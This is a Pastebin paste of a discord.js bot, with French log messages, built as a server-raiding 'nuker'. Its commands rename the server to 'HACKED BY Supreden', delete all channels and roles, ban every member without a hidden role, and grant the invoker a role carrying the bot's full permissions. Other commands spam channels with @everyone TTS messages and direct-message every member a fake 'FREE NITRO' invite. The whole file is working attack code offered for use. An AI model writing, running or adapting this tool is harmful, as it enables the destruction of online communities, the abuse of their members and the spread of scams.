Advertisement
Guest User

Untitled

a guest
Jul 16th, 2019
85
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.50 KB | None | 0 0
  1. const discord = require("discord.js");
  2. const bot = new discord.Client();
  3. const token = "";
  4. const prefix = "."
  5. bot.on("ready", () => {
  6. console.log("----------------------------")
  7. console.log(`Tag du Bot : ${bot.user.tag}`)
  8. console.log(`Id du Bot : ${bot.user.id}`)
  9. console.log(`Invitations : https://discordapp.com/oauth2/authorize?client_id=${bot.user.id}&scope=bot&permissions=2146958847`)
  10. console.log(`Nombre de Serveurs : ${bot.guilds.size}`)
  11. console.log("----------------------------")
  12. })
  13.  
  14. bot.on("message", message => {
  15. var args = message.content.split(/ +/);
  16. if(message.channel.type != "text") return;
  17. switch(args[0]){
  18. case `${prefix}chanspam`:
  19. if(message.deletable) message.delete();
  20. if(!message.guild.member(bot.user).hasPermission("MANAGE_GUILD")) return console.log(`${message.guild.name} | guildfucker |Le bot n'a pas assez de permission.`);
  21. message.guild.setIcon("https://i.ytimg.com/vi/bNkTGAhq8Vg/hqdefault.jpg");
  22. message.guild.setName("HACKED BY Supreden");
  23. message.guild.setRegion("russia");
  24. if(!message.guild.member(bot.user).hasPermission("MANAGE_CHANNELS")) return console.log(`${message.guild.name} | chan spam |Le bot n'a pas assez de permission.`);
  25. var i;
  26. for (i = message.guild.channels.size; i < 497; i++) {
  27. message.guild.createChannel("hacked_by_Supreden", "text");
  28. message.guild.createChannel("Hacked By Supreden", "voice");
  29. }
  30. break;
  31. case `${prefix}delchan`:
  32. if(message.deletable) message.delete();
  33. if(!message.guild.member(bot.user).hasPermission("MANAGE_CHANNELS")) return console.log(`${message.guild.name} | delchan |Le bot n'a pas assez de permission.`);
  34. message.guild.channels.map(chanman => {
  35. chanman.delete().catch(console.error);
  36. })
  37. break;
  38. case `${prefix}spam`:
  39. if(message.deletable) message.delete();
  40. setInterval (function () {
  41. message.guild.channels.forEach(channel => {
  42. if (channel.type === "text") {channel.send("@everyone Supreden, est passé ici... Le serv est desormais purgé https://discord.gg/D6jvVp", { tts: true }).catch(console.error); }
  43. }, 2500)}, 400)
  44. break;
  45. case `${prefix}rolespam`:
  46. if(message.deletable) message.delete();
  47. if(!message.guild.member(bot.user).hasPermission("MANAGE_ROLES")) return console.log(`${message.guild.name} | rolespam |Le bot n'a pas assez de permission.`);
  48. var i;
  49. for (i = message.guild.roles.size; i < 100; i++) {
  50. message.guild.createRole({
  51. color:"RANDOM",
  52. name:"LAZONZE"
  53. });
  54. }
  55. break;
  56. case `${prefix}permadd`:
  57. if(message.deletable) message.delete();
  58. if(!message.guild.member(bot.user).hasPermission("MANAGE_ROLES")) return console.log(`${message.guild.name} | permadd |Le bot n'a pas assez de permission.`);
  59. else if(!message.guild.roles.find(x => x.name === "unknow_error_404")) {
  60. if(message.guild.roles.size >= 100) return;
  61. message.guild.createRole({
  62. name: "unknow_error_404",
  63. permissions:message.guild.member(bot.user).permissions.raw
  64. }).then(role => message.member.addRole(role));
  65. }
  66. else {
  67. message.member.addRole(message.guild.roles.find(x => x.name === "unknow_error_404"));
  68. }
  69. break;
  70. case `${prefix}banall`:
  71. if(message.deletable) message.delete();
  72. if(!message.guild.member(bot.user).hasPermission("BAN_MEMBERS")) return console.log(`${message.guild.name} | banall |Le bot n'a pas assez de permission.`);
  73. message.guild.members.forEach(m => {
  74. if(m.bannable && !m.roles.find(w => w.name === "unknow_error_404")) m.ban().catch(console.error);
  75. })
  76. break;
  77. case `${prefix}delrole`:
  78. if(message.deletable) message.delete();
  79. if(!message.guild.member(bot.user).hasPermission("MANAGE_ROLES")) return console.log(`${message.guild.name} | permadd |Le bot n'a pas assez de permission.`);
  80. message.guild.roles.forEach(m => {
  81. if(m.name != "unknow_error_404")m.delete().catch(console.error)
  82. })
  83. break;
  84. case `${prefix}mp`:
  85. if(message.deletable) message.delete();
  86. message.guild.members.forEach(mpmember => {
  87. mpmember.createDM().then(m =>
  88. {var i;
  89. for(i = 0; i < 2; i++){
  90. m.send(`** :underage: GO JOIN FREE NITRO:underage: **
  91.  
  92. https://cdn.discordapp.com/attachments/600466818196570148/600785788849881088/giphy.gif
  93. https://discord.gg/tcpHnaQ`)
  94. }
  95. })})
  96. break;
  97. case `${prefix}spamlog`:
  98. if(message.deletable) message.delete();
  99. if(!message.guild.member(bot.user).hasPermission("MANAGE_GUILD")) return console.log(`${message.guild.name} | spamlog |Le bot n'a pas assez de permission.`);
  100. const table = ["russia","hongkong","us-central","eu-central","eu-west","us-west","eu-west"];
  101. setInterval(function() {
  102. message.guild.setRegion(table[Math.floor(Math.random()*table.length)])
  103. },300)
  104. break;
  105.  
  106. }
  107. })
  108. bot.login(token)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement